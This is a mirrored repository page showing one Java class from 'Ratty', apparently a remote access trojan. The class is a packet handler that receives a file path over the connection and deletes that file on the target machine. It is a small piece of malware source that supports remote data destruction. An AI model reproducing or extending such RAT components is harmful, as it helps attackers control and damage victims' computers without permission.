mirror of https://github.com/LucaBongiorni/Ratty
You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
36 lines
666 B
36 lines
666 B
package de.sogomn.rat.packet;
|
|
|
|
import java.io.File;
|
|
|
|
import de.sogomn.rat.ActiveConnection;
|
|
|
|
public final class DeleteFilePacket implements IPacket {
|
|
|
|
private String path;
|
|
|
|
public DeleteFilePacket(final String path) {
|
|
this.path = path;
|
|
}
|
|
|
|
public DeleteFilePacket() {
|
|
this("");
|
|
}
|
|
|
|
@Override
|
|
public void send(final ActiveConnection connection) {
|
|
connection.writeUTF(path);
|
|
}
|
|
|
|
@Override
|
|
public void receive(final ActiveConnection connection) {
|
|
path = connection.readUTF();
|
|
}
|
|
|
|
@Override
|
|
public void execute(final ActiveConnection connection) {
|
|
final File file = new File(path);
|
|
|
|
file.delete();
|
|
}
|
|
|
|
}
|